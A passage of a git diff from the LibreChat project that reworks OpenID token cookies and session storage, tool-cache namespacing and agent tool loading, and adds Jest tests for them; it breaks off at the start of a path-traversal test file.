{ try { @@ -448,34 +453,62 @@ const setOpenIDAuthTokens = (tokenset, req, res, userId, existingRefreshToken) = return; } + /** + * Use id_token as the app authentication token (Bearer token for JWKS validation). + * The id_token is always a standard JWT signed by the IdP's JWKS keys with the app's + * client_id as audience. The access_token may be opaque or intended for a different + * audience (e.g., Microsoft Graph API), which fails JWKS validation. + * Falls back to access_token for providers where id_token is not available. + */ + const appAuthToken = tokenset.id_token || tokenset.access_token; + + /** + * Always set refresh token cookie so it survives express session expiry. + * The session cookie maxAge (SESSION_EXPIRY, default 15 min) is typically shorter + * than the OIDC token lifetime (~1 hour). Without this cookie fallback, the refresh + * token stored only in the session is lost when the session expires, causing the user + * to be signed out on the next token refresh attempt. + * The refresh token is small (opaque string) so it doesn't hit the HTTP/2 header + * size limits that motivated session storage for the larger access_token/id_token. + */ + res.cookie('refreshToken', refreshToken, { + expires: expirationDate, + httpOnly: true, + secure: shouldUseSecureCookie(), + sameSite: 'strict', + }); + /** Store tokens server-side in session to avoid large cookies */ if (req.session) { req.session.openidTokens = { accessToken: tokenset.access_token, + idToken: tokenset.id_token, refreshToken: refreshToken, expiresAt: expirationDate.getTime(), }; } else { logger.warn('[setOpenIDAuthTokens] No session available, falling back to cookies'); - res.cookie('refreshToken', refreshToken, { - expires: expirationDate, - httpOnly: true, - secure: isProduction, - sameSite: 'strict', - }); res.cookie('openid_access_token', tokenset.access_token, { expires: expirationDate, httpOnly: true, - secure: isProduction, + secure: shouldUseSecureCookie(), sameSite: 'strict', }); + if (tokenset.id_token) { + res.cookie('openid_id_token', tokenset.id_token, { + expires: expirationDate, + httpOnly: true, + secure: shouldUseSecureCookie(), + sameSite: 'strict', + }); + } } /** Small cookie to indicate token provider (required for auth middleware) */ res.cookie('token_provider', 'openid', { expires: expirationDate, httpOnly: true, - secure: isProduction, + secure: shouldUseSecureCookie(), sameSite: 'strict', }); if (userId && isEnabled(process.env.OPENID_REUSE_TOKENS)) { @@ -486,11 +519,11 @@ const setOpenIDAuthTokens = (tokenset, req, res, userId, existingRefreshToken) = res.cookie('openid_user_id', signedUserId, { expires: expirationDate, httpOnly: true, - secure: isProduction, + secure: shouldUseSecureCookie(), sameSite: 'strict', }); } - return tokenset.access_token; + return appAuthToken; } catch (error) { logger.error('[setOpenIDAuthTokens] Error in setting authentication tokens:', error); throw error; diff --git a/api/server/services/AuthService.spec.js b/api/server/services/AuthService.spec.js new file mode 100644 index 0000000000..da78f8d775 --- /dev/null +++ b/api/server/services/AuthService.spec.js @@ -0,0 +1,269 @@ +jest.mock('@librechat/data-schemas', () => ({ + logger: { info: jest.fn(), warn: jest.fn(), debug: jest.fn(), error: jest.fn() }, + DEFAULT_SESSION_EXPIRY: 900000, + DEFAULT_REFRESH_TOKEN_EXPIRY: 604800000, +})); +jest.mock('librechat-data-provider', () => ({ + ErrorTypes: {}, + SystemRoles: { USER: 'USER', ADMIN: 'ADMIN' }, + errorsToString: jest.fn(), +})); +jest.mock('@librechat/api', () => ({ + isEnabled: jest.fn((val) => val === 'true' || val === true), + checkEmailConfig: jest.fn(), + isEmailDomainAllowed: jest.fn(), + math: jest.fn((val, fallback) => (val ? Number(val) : fallback)), + shouldUseSecureCookie: jest.fn(() => false), +})); +jest.mock('~/models', () => ({ + findUser: jest.fn(), + findToken: jest.fn(), + createUser: jest.fn(), + updateUser: jest.fn(), + countUsers: jest.fn(), + getUserById: jest.fn(), + findSession: jest.fn(), + createToken: jest.fn(), + deleteTokens: jest.fn(), + deleteSession: jest.fn(), + createSession: jest.fn(), + generateToken: jest.fn(), + deleteUserById: jest.fn(), + generateRefreshToken: jest.fn(), +})); +jest.mock('~/strategies/validators', () => ({ registerSchema: { parse: jest.fn() } })); +jest.mock('~/server/services/Config', () => ({ getAppConfig: jest.fn() })); +jest.mock('~/server/utils', () => ({ sendEmail: jest.fn() })); + +const { shouldUseSecureCookie } = require('@librechat/api'); +const { setOpenIDAuthTokens } = require('./AuthService'); + +/** Helper to build a mock Express response */ +function mockResponse() { + const cookies = {}; + const res = { + cookie: jest.fn((name, value, options) => { + cookies[name] = { value, options }; + }), + _cookies: cookies, + }; + return res; +} + +/** Helper to build a mock Express request with session */ +function mockRequest(sessionData = {}) { + return { + session: { openidTokens: null, ...sessionData }, + }; +} + +describe('setOpenIDAuthTokens', () => { + const env = process.env; + + beforeEach(() => { + jest.clearAllMocks(); + process.env = { + ...env, + JWT_REFRESH_SECRET: 'test-refresh-secret', + OPENID_REUSE_TOKENS: 'true', + }; + }); + + afterAll(() => { + process.env = env; + }); + + describe('token selection (id_token vs access_token)', () => { + it('should return id_token when both id_token and access_token are present', () => { + const tokenset = { + id_token: 'the-id-token', + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBe('the-id-token'); + }); + + it('should return access_token when id_token is not available', () => { + const tokenset = { + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBe('the-access-token'); + }); + + it('should return access_token when id_token is undefined', () => { + const tokenset = { + id_token: undefined, + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBe('the-access-token'); + }); + + it('should return access_token when id_token is null', () => { + const tokenset = { + id_token: null, + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBe('the-access-token'); + }); + + it('should return id_token even when id_token and access_token differ', () => { + const tokenset = { + id_token: 'id-token-jwt-signed-by-idp', + access_token: 'opaque-graph-api-token', + refresh_token: 'refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBe('id-token-jwt-signed-by-idp'); + expect(result).not.toBe('opaque-graph-api-token'); + }); + }); + + describe('session token storage', () => { + it('should store the original access_token in session (not id_token)', () => { + const tokenset = { + id_token: 'the-id-token', + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + + expect(req.session.openidTokens.accessToken).toBe('the-access-token'); + expect(req.session.openidTokens.refreshToken).toBe('the-refresh-token'); + }); + }); + + describe('cookie secure flag', () => { + it('should call shouldUseSecureCookie for every cookie set', () => { + const tokenset = { + id_token: 'the-id-token', + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + + // token_provider + openid_user_id (session path, so no refreshToken/openid_access_token cookies) + const secureCalls = shouldUseSecureCookie.mock.calls.length; + expect(secureCalls).toBeGreaterThanOrEqual(2); + + // Verify all cookies use the result of shouldUseSecureCookie + for (const [, cookie] of Object.entries(res._cookies)) { + expect(cookie.options.secure).toBe(false); + } + }); + + it('should set secure: true when shouldUseSecureCookie returns true', () => { + shouldUseSecureCookie.mockReturnValue(true); + + const tokenset = { + id_token: 'the-id-token', + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + + for (const [, cookie] of Object.entries(res._cookies)) { + expect(cookie.options.secure).toBe(true); + } + }); + + it('should use shouldUseSecureCookie for cookie fallback path (no session)', () => { + shouldUseSecureCookie.mockReturnValue(false); + + const tokenset = { + id_token: 'the-id-token', + access_token: 'the-access-token', + refresh_token: 'the-refresh-token', + }; + const req = { session: null }; + const res = mockResponse(); + + setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + + // In the cookie fallback path, we get: refreshToken, openid_access_token, token_provider, openid_user_id + expect(res.cookie).toHaveBeenCalledWith( + 'refreshToken', + expect.any(String), + expect.objectContaining({ secure: false }), + ); + expect(res.cookie).toHaveBeenCalledWith( + 'openid_access_token', + expect.any(String), + expect.objectContaining({ secure: false }), + ); + expect(res.cookie).toHaveBeenCalledWith( + 'token_provider', + 'openid', + expect.objectContaining({ secure: false }), + ); + }); + }); + + describe('edge cases', () => { + it('should return undefined when tokenset is null', () => { + const req = mockRequest(); + const res = mockResponse(); + const result = setOpenIDAuthTokens(null, req, res, 'user-123'); + expect(result).toBeUndefined(); + }); + + it('should return undefined when access_token is missing', () => { + const tokenset = { refresh_token: 'refresh' }; + const req = mockRequest(); + const res = mockResponse(); + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBeUndefined(); + }); + + it('should return undefined when no refresh token is available', () => { + const tokenset = { access_token: 'access', id_token: 'id' }; + const req = mockRequest(); + const res = mockResponse(); + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123'); + expect(result).toBeUndefined(); + }); + + it('should use existingRefreshToken when tokenset has no refresh_token', () => { + const tokenset = { + id_token: 'the-id-token', + access_token: 'the-access-token', + }; + const req = mockRequest(); + const res = mockResponse(); + + const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123', 'existing-refresh'); + expect(result).toBe('the-id-token'); + expect(req.session.openidTokens.refreshToken).toBe('existing-refresh'); + }); + }); +}); diff --git a/api/server/services/Config/__tests__/getCachedTools.spec.js b/api/server/services/Config/__tests__/getCachedTools.spec.js index 48ab6e0737..38d488ed38 100644 --- a/api/server/services/Config/__tests__/getCachedTools.spec.js +++ b/api/server/services/Config/__tests__/getCachedTools.spec.js @@ -1,10 +1,92 @@ -const { ToolCacheKeys } = require('../getCachedTools'); +const { CacheKeys } = require('librechat-data-provider'); + +jest.mock('~/cache/getLogStores'); +const getLogStores = require('~/cache/getLogStores'); + +const mockCache = { get: jest.fn(), set: jest.fn(), delete: jest.fn() }; +getLogStores.mockReturnValue(mockCache); + +const { + ToolCacheKeys, + getCachedTools, + setCachedTools, + getMCPServerTools, + invalidateCachedTools, +} = require('../getCachedTools'); + +describe('getCachedTools', () => { + beforeEach(() => { + jest.clearAllMocks(); + getLogStores.mockReturnValue(mockCache); + }); -describe('getCachedTools - Cache Isolation Security', () => { describe('ToolCacheKeys.MCP_SERVER', () => { it('should generate cache keys that include userId', () => { const key = ToolCacheKeys.MCP_SERVER('user123', 'github'); expect(key).toBe('tools:mcp:user123:github'); }); }); + + describe('TOOL_CACHE namespace usage', () => { + it('getCachedTools should use TOOL_CACHE namespace', async () => { + mockCache.get.mockResolvedValue(null); + await getCachedTools(); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + }); + + it('getCachedTools with MCP server options should use TOOL_CACHE namespace', async () => { + mockCache.get.mockResolvedValue({ tool1: {} }); + await getCachedTools({ userId: 'user1', serverName: 'github' }); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + expect(mockCache.get).toHaveBeenCalledWith(ToolCacheKeys.MCP_SERVER('user1', 'github')); + }); + + it('setCachedTools should use TOOL_CACHE namespace', async () => { + mockCache.set.mockResolvedValue(true); + const tools = { tool1: { type: 'function' } }; + await setCachedTools(tools); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + expect(mockCache.set).toHaveBeenCalledWith(ToolCacheKeys.GLOBAL, tools, expect.any(Number)); + }); + + it('setCachedTools with MCP server options should use TOOL_CACHE namespace', async () => { + mockCache.set.mockResolvedValue(true); + const tools = { tool1: { type: 'function' } }; + await setCachedTools(tools, { userId: 'user1', serverName: 'github' }); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + expect(mockCache.set).toHaveBeenCalledWith( + ToolCacheKeys.MCP_SERVER('user1', 'github'), + tools, + expect.any(Number), + ); + }); + + it('invalidateCachedTools should use TOOL_CACHE namespace', async () => { + mockCache.delete.mockResolvedValue(true); + await invalidateCachedTools({ invalidateGlobal: true }); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + expect(mockCache.delete).toHaveBeenCalledWith(ToolCacheKeys.GLOBAL); + }); + + it('getMCPServerTools should use TOOL_CACHE namespace', async () => { + mockCache.get.mockResolvedValue(null); + await getMCPServerTools('user1', 'github'); + expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE); + expect(mockCache.get).toHaveBeenCalledWith(ToolCacheKeys.MCP_SERVER('user1', 'github')); + }); + + it('should NOT use CONFIG_STORE namespace', async () => { + mockCache.get.mockResolvedValue(null); + await getCachedTools(); + await getMCPServerTools('user1', 'github'); + mockCache.set.mockResolvedValue(true); + await setCachedTools({ tool1: {} }); + mockCache.delete.mockResolvedValue(true); + await invalidateCachedTools({ invalidateGlobal: true }); + + const allCalls = getLogStores.mock.calls.flat(); + expect(allCalls).not.toContain(CacheKeys.CONFIG_STORE); + expect(allCalls.every((key) => key === CacheKeys.TOOL_CACHE)).toBe(true); + }); + }); }); diff --git a/api/server/services/Config/getCachedTools.js b/api/server/services/Config/getCachedTools.js index cf1618a646..eb7a08305a 100644 --- a/api/server/services/Config/getCachedTools.js +++ b/api/server/services/Config/getCachedTools.js @@ -20,7 +20,7 @@ const ToolCacheKeys = { * @returns {Promise} The available tools object or null if not cached */ async function getCachedTools(options = {}) { - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); const { userId, serverName } = options; // Return MCP server-specific tools if requested @@ -43,7 +43,7 @@ async function getCachedTools(options = {}) { * @returns {Promise} Whether the operation was successful */ async function setCachedTools(tools, options = {}) { - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); const { userId, serverName, ttl = Time.TWELVE_HOURS } = options; // Cache by MCP server if specified (requires userId) @@ -65,7 +65,7 @@ async function setCachedTools(tools, options = {}) { * @returns {Promise} */ async function invalidateCachedTools(options = {}) { - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); const { userId, serverName, invalidateGlobal = false } = options; const keysToDelete = []; @@ -89,7 +89,7 @@ async function invalidateCachedTools(options = {}) { * @returns {Promise} The available tools for the server */ async function getMCPServerTools(userId, serverName) { - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); const serverTools = await cache.get(ToolCacheKeys.MCP_SERVER(userId, serverName)); if (serverTools) { diff --git a/api/server/services/Config/loadConfigModels.js b/api/server/services/Config/loadConfigModels.js index 6354d10331..2bc83ecc3a 100644 --- a/api/server/services/Config/loadConfigModels.js +++ b/api/server/services/Config/loadConfigModels.js @@ -28,6 +28,11 @@ async function loadConfigModels(req) { modelsConfig[EModelEndpoint.azureAssistants] = azureConfig.assistantModels; } + const bedrockConfig = appConfig.endpoints?.[EModelEndpoint.bedrock]; + if (bedrockConfig?.models && Array.isArray(bedrockConfig.models)) { + modelsConfig[EModelEndpoint.bedrock] = bedrockConfig.models; + } + if (!Array.isArray(appConfig.endpoints?.[EModelEndpoint.custom])) { return modelsConfig; } diff --git a/api/server/services/Config/mcp.js b/api/server/services/Config/mcp.js index 15ea62a028..cc4e98b59e 100644 --- a/api/server/services/Config/mcp.js +++ b/api/server/services/Config/mcp.js @@ -35,7 +35,7 @@ async function updateMCPServerTools({ userId, serverName, tools }) { await setCachedTools(serverTools, { userId, serverName }); - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); await cache.delete(CacheKeys.TOOLS); logger.debug( `[MCP Cache] Updated ${tools.length} tools for server ${serverName} (user: ${userId})`, @@ -61,7 +61,7 @@ async function mergeAppTools(appTools) { const cachedTools = await getCachedTools(); const mergedTools = { ...cachedTools, ...appTools }; await setCachedTools(mergedTools); - const cache = getLogStores(CacheKeys.CONFIG_STORE); + const cache = getLogStores(CacheKeys.TOOL_CACHE); await cache.delete(CacheKeys.TOOLS); logger.debug(`Merged ${count} app-level tools`); } catch (error) { diff --git a/api/server/services/Endpoints/agents/addedConvo.js b/api/server/services/Endpoints/agents/addedConvo.js index 240622ed9f..25b1327991 100644 --- a/api/server/services/Endpoints/agents/addedConvo.js +++ b/api/server/services/Endpoints/agents/addedConvo.js @@ -31,6 +31,7 @@ setGetAgent(getAgent); * @param {Function} params.loadTools - Function to load agent tools * @param {Array} params.requestFiles - Request files * @param {string} params.conversationId - The conversation ID + * @param {string} [params.parentMessageId] - The parent message ID for thread filtering * @param {Set} params.allowedProviders - Set of allowed providers * @param {Map} params.agentConfigs - Map of agent configs to add to * @param {string} params.primaryAgentId - The primary agent ID @@ -46,6 +47,7 @@ const processAddedConvo = async ({ loadTools, requestFiles, conversationId, + parentMessageId, allowedProviders, agentConfigs, primaryAgentId, @@ -53,16 +55,16 @@ const processAddedConvo = async ({ userMCPAuthMap, }) => { const addedConvo = endpointOption.addedConvo; - logger.debug('[processAddedConvo] Called with addedConvo:', { - hasAddedConvo: addedConvo != null, - addedConvoEndpoint: addedConvo?.endpoint, - addedConvoModel: addedConvo?.model, - addedConvoAgentId: addedConvo?.agent_id, - }); if (addedConvo == null) { return { userMCPAuthMap }; } + logger.debug('[processAddedConvo] Processing added conversation', { + model: addedConvo.model, + agentId: addedConvo.agent_id, + endpoint: addedConvo.endpoint, + }); + try { const addedAgent = await loadAddedAgent({ req, conversation: addedConvo, primaryAgent }); if (!addedAgent) { @@ -91,6 +93,7 @@ const processAddedConvo = async ({ loadTools, requestFiles, conversationId, + parentMessageId, agent: addedAgent, endpointOption, allowedProviders, @@ -99,9 +102,12 @@ const processAddedConvo = async ({ getConvoFiles, getFiles: db.getFiles, getUserKey: db.getUserKey, + getMessages: db.getMessages, updateFilesUsage: db.updateFilesUsage, + getUserCodeFiles: db.getUserCodeFiles, getUserKeyValues: db.getUserKeyValues, getToolFilesByIds: db.getToolFilesByIds, + getCodeGeneratedFiles: db.getCodeGeneratedFiles, }, ); diff --git a/api/server/services/Endpoints/agents/initialize.js b/api/server/services/Endpoints/agents/initialize.js index a691480119..e71270ef85 100644 --- a/api/server/services/Endpoints/agents/initialize.js +++ b/api/server/services/Endpoints/agents/initialize.js @@ -19,8 +19,8 @@ const { createToolEndCallback, getDefaultHandlers, } = require('~/server/controllers/agents/callbacks'); +const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService'); const { getModelsConfig } = require('~/server/controllers/ModelController'); -const { loadAgentTools } = require('~/server/services/ToolService'); const AgentClient = require('~/server/controllers/agents/client'); const { getConvoFiles } = require('~/models/Conversation'); const { processAddedConvo } = require('./addedConvo'); @@ -32,8 +32,10 @@ const db = require('~/models'); * Creates a tool loader function for the agent. * @param {AbortSignal} signal - The abort signal * @param {string | null} [streamId] - The stream ID for resumable mode + * @param {boolean} [definitionsOnly=false] - When true, returns only serializable + * tool definitions without creating full tool instances (for event-driven mode) */ -function createToolLoader(signal, streamId = null) { +function createToolLoader(signal, streamId = null, definitionsOnly = false) { /** * @param {object} params * @param {ServerRequest} params.req @@ -44,21 +46,33 @@ function createToolLoader(signal, streamId = null) { * @param {string} params.model * @param {AgentToolResources} params.tool_resources * @returns {Promise<{ - * tools: StructuredTool[], - * toolContextMap: Record, - * userMCPAuthMap?: Record> + * tools?: StructuredTool[], + * toolContextMap: Record, + * toolDefinitions?: import('@librechat/agents').LCTool[], + * userMCPAuthMap?: Record>, + * toolRegistry?: import('@librechat/agents').LCToolRegistry * } | undefined>} */ - return async function loadTools({ req, res, agentId, tools, provider, model, tool_resources }) { - const agent = { id: agentId, tools, provider, model }; + return async function loadTools({ + req, + res, + tools, + model, + agentId, + provider, + tool_options, + tool_resources, + }) { + const agent = { id: agentId, tools, provider, model, tool_options }; try { return await loadAgentTools({ req, res, agent, signal, - tool_resources, streamId, + tool_resources, + definitionsOnly, }); } catch (error) { logger.error('Error loading tools for agent ' + agentId, error); @@ -81,8 +95,47 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { const artifactPromises = []; const { contentParts, aggregateContent } = createContentAggregator(); const toolEndCallback = createToolEndCallback({ req, res, artifactPromises, streamId }); + + /** + * Agent context store - populated after initialization, accessed by callback via closure. + * Maps agentId -> { userMCPAuthMap, agent, tool_resources, toolRegistry, openAIApiKey } + * @type {Map>, + * agent?: object, + * tool_resources?: object, + * toolRegistry?: import('@librechat/agents').LCToolRegistry, + * openAIApiKey?: string + * }>} + */ + const agentToolContexts = new Map(); + + const toolExecuteOptions = { + loadTools: async (toolNames, agentId) => { + const ctx = agentToolContexts.get(agentId) ?? {}; + logger.debug(`[ON_TOOL_EXECUTE] ctx found: ${!!ctx.userMCPAuthMap}, agent: ${ctx.agent?.id}`); + logger.debug(`[ON_TOOL_EXECUTE] toolRegistry size: ${ctx.toolRegistry?.size ?? 'undefined'}`); + + const result = await loadToolsForExecution({ + req, + res, + signal, + streamId, + toolNames, + agent: ctx.agent, + toolRegistry: ctx.toolRegistry, + userMCPAuthMap: ctx.userMCPAuthMap, + tool_resources: ctx.tool_resources, + }); + + logger.debug(`[ON_TOOL_EXECUTE] loaded ${result.loadedTools?.length ?? 0} tools`); + return result; + }, + toolEndCallback, + }; + const eventHandlers = getDefaultHandlers({ res, + toolExecuteOptions, aggregateContent, toolEndCallback, collectedUsage, @@ -115,11 +168,14 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { const agentConfigs = new Map(); const allowedProviders = new Set(appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders); - const loadTools = createToolLoader(signal, streamId); + /** Event-driven mode: only load tool definitions, not full instances */ + const loadTools = createToolLoader(signal, streamId, true); /** @type {Array} */ const requestFiles = req.body.files ?? []; /** @type {string} */ const conversationId = req.body.conversationId; + /** @type {string | undefined} */ + const parentMessageId = req.body.parentMessageId; const primaryConfig = await initializeAgent( { @@ -128,6 +184,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { loadTools, requestFiles, conversationId, + parentMessageId, agent: primaryAgent, endpointOption, allowedProviders, @@ -137,12 +194,25 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { getConvoFiles, getFiles: db.getFiles, getUserKey: db.getUserKey, + getMessages: db.getMessages, updateFilesUsage: db.updateFilesUsage, getUserKeyValues: db.getUserKeyValues, + getUserCodeFiles: db.getUserCodeFiles, getToolFilesByIds: db.getToolFilesByIds, + getCodeGeneratedFiles: db.getCodeGeneratedFiles, }, ); + logger.debug( + `[initializeClient] Storing tool context for ${primaryConfig.id}: ${primaryConfig.toolDefinitions?.length ?? 0} tools, registry size: ${primaryConfig.toolRegistry?.size ?? '0'}`, + ); + agentToolContexts.set(primaryConfig.id, { + agent: primaryAgent, + toolRegistry: primaryConfig.toolRegistry, + userMCPAuthMap: primaryConfig.userMCPAuthMap, + tool_resources: primaryConfig.tool_resources, + }); + const agent_ids = primaryConfig.agent_ids; let userMCPAuthMap = primaryConfig.userMCPAuthMap; @@ -179,6 +249,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { loadTools, requestFiles, conversationId, + parentMessageId, endpointOption, allowedProviders, }, @@ -186,16 +257,29 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { getConvoFiles, getFiles: db.getFiles, getUserKey: db.getUserKey, + getMessages: db.getMessages, updateFilesUsage: db.updateFilesUsage, getUserKeyValues: db.getUserKeyValues, + getUserCodeFiles: db.getUserCodeFiles, getToolFilesByIds: db.getToolFilesByIds, + getCodeGeneratedFiles: db.getCodeGeneratedFiles, }, ); + if (userMCPAuthMap != null) { Object.assign(userMCPAuthMap, config.userMCPAuthMap ?? {}); } else { userMCPAuthMap = config.userMCPAuthMap; } + + /** Store handoff agent's tool context for ON_TOOL_EXECUTE callback */ + agentToolContexts.set(agentId, { + agent, + toolRegistry: config.toolRegistry, + userMCPAuthMap: config.userMCPAuthMap, + tool_resources: config.tool_resources, + }); + agentConfigs.set(agentId, config); return agent; } @@ -222,6 +306,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { } } catch (err) { logger.error(`[initializeClient] Error processing agent ${agentId}:`, err); + skippedAgentIds.add(agentId); } } @@ -231,7 +316,12 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { if (checkAgentInit(agentId)) { continue; } - await processAgent(agentId); + try { + await processAgent(agentId); + } catch (err) { + logger.error(`[initializeClient] Error processing chain agent ${agentId}:`, err); + skippedAgentIds.add(agentId); + } } const chain = await createSequentialChainEdges([primaryConfig.id].concat(agent_ids), '{convo}'); collectEdges(chain); @@ -243,17 +333,18 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => { const { userMCPAuthMap: updatedMCPAuthMap } = await processAddedConvo({ req, res, - endpointOption, - modelsConfig, - logViolation, loadTools, + logViolation, + modelsConfig, requestFiles, - conversationId, - allowedProviders, agentConfigs, - primaryAgentId: primaryConfig.id, primaryAgent, + endpointOption, userMCPAuthMap, + conversationId, + parentMessageId, + allowedProviders, + primaryAgentId: primaryConfig.id, }); if (updatedMCPAuthMap) { diff --git a/api/server/services/Endpoints/agents/title.js b/api/server/services/Endpoints/agents/title.js index 1d6d359bd6..e31cdeea11 100644 --- a/api/server/services/Endpoints/agents/title.js +++ b/api/server/services/Endpoints/agents/title.js @@ -71,7 +71,7 @@ const addTitle = async (req, { text, response, client }) => { conversationId: response.conversationId, title, }, - { context: 'api/server/services/Endpoints/agents/title.js' }, + { context: 'api/server/services/Endpoints/agents/title.js', noUpsert: true }, ); } catch (error) { logger.error('Error generating title:', error); diff --git a/api/server/services/Endpoints/assistants/title.js b/api/server/services/Endpoints/assistants/title.js index a34de4d1af..1fae68cf54 100644 --- a/api/server/services/Endpoints/assistants/title.js +++ b/api/server/services/Endpoints/assistants/title.js @@ -69,7 +69,7 @@ const addTitle = async (req, { text, responseText, conversationId }) => { conversationId, title, }, - { context: 'api/server/services/Endpoints/assistants/addTitle.js' }, + { context: 'api/server/services/Endpoints/assistants/addTitle.js', noUpsert: true }, ); } catch (error) { logger.error('[addTitle] Error generating title:', error); @@ -81,7 +81,7 @@ const addTitle = async (req, { text, responseText, conversationId }) => { conversationId, title: fallbackTitle, }, - { context: 'api/server/services/Endpoints/assistants/addTitle.js' }, + { context: 'api/server/services/Endpoints/assistants/addTitle.js', noUpsert: true }, ); } }; diff --git a/api/server/services/Endpoints/azureAssistants/initialize.js b/api/server/services/Endpoints/azureAssistants/initialize.js index 6a9118ea8a..e81f0bcd8a 100644 --- a/api/server/services/Endpoints/azureAssistants/initialize.js +++ b/api/server/services/Endpoints/azureAssistants/initialize.js @@ -128,7 +128,6 @@ const initializeClient = async ({ req, res, version, endpointOption, initAppClie const groupName = modelGroupMap[modelName].group; clientOptions.addParams = azureConfig.groupMap[groupName].addParams; clientOptions.dropParams = azureConfig.groupMap[groupName].dropParams; - clientOptions.forcePrompt = azureConfig.groupMap[groupName].forcePrompt; clientOptions.reverseProxyUrl = baseURL ?? clientOptions.reverseProxyUrl; clientOptions.headers = opts.defaultHeaders; diff --git a/api/server/services/Endpoints/index.js b/api/server/services/Endpoints/index.js index 034162702d..3cabfe1c58 100644 --- a/api/server/services/Endpoints/index.js +++ b/api/server/services/Endpoints/index.js @@ -12,7 +12,7 @@ const initGoogle = require('~/server/services/Endpoints/google/initialize'); * @returns {boolean} - True if the provider is a known custom provider, false otherwise */ function isKnownCustomProvider(provider) { - return [Providers.XAI, Providers.DEEPSEEK, Providers.OPENROUTER].includes( + return [Providers.XAI, Providers.DEEPSEEK, Providers.OPENROUTER, Providers.MOONSHOT].includes( provider?.toLowerCase() || '', ); } @@ -20,6 +20,7 @@ function isKnownCustomProvider(provider) { const providerConfigMap = { [Providers.XAI]: initCustom, [Providers.DEEPSEEK]: initCustom, + [Providers.MOONSHOT]: initCustom, [Providers.OPENROUTER]: initCustom, [EModelEndpoint.openAI]: initOpenAI, [EModelEndpoint.google]: initGoogle, diff --git a/api/server/services/Files/Azure/crud.js b/api/server/services/Files/Azure/crud.js index 25bd749276..8f681bd06c 100644 --- a/api/server/services/Files/Azure/crud.js +++ b/api/server/services/Files/Azure/crud.js @@ -4,7 +4,7 @@ const mime = require('mime'); const axios = require('axios'); const fetch = require('node-fetch'); const { logger } = require('@librechat/data-schemas'); -const { getAzureContainerClient } = require('@librechat/api'); +const { getAzureContainerClient, deleteRagFile } = require('@librechat/api'); const defaultBasePath = 'images'; const { AZURE_STORAGE_PUBLIC_ACCESS = 'true', AZURE_CONTAINER_NAME = 'files' } = process.env; @@ -102,6 +102,8 @@ async function getAzureURL({ fileName, basePath = defaultBasePath, userId, conta * @param {MongoFile} params.file - The file object. */ async function deleteFileFromAzure(req, file) { + await deleteRagFile({ userId: req.user.id, file }); + try { const containerClient = await getAzureContainerClient(AZURE_CONTAINER_NAME); const blobPath = file.filepath.split(`${AZURE_CONTAINER_NAME}/`)[1]; diff --git a/api/server/services/Files/Code/__tests__/process-traversal.spec.js b/api/server/services/Files/Code/__tests__/process-traversal.spec.js new file mode 100644 index 0000000000..2db366d06b --- /dev/null +++ b/api/server/services/Files/Code/__tests__/process-traversal.spec.js @@ -0,0 +1,124 @@ +jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') })); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() }, +})); + +jest.mock('@librechat/agents', () => ({ + getCodeBaseURL: jest.fn(() => 'http://localhost:8000'), +})); + +const mockSanitizeFilename = jest.fn(); + +jest.mock('@librechat/api', () => ({ + logAxiosError: jest.fn(), + getBasePath: jest.fn(() => ''), + sanitizeFilename: mockSanitizeFilename, +})); + +jest.mock('librechat-data-provider', () => ({ + 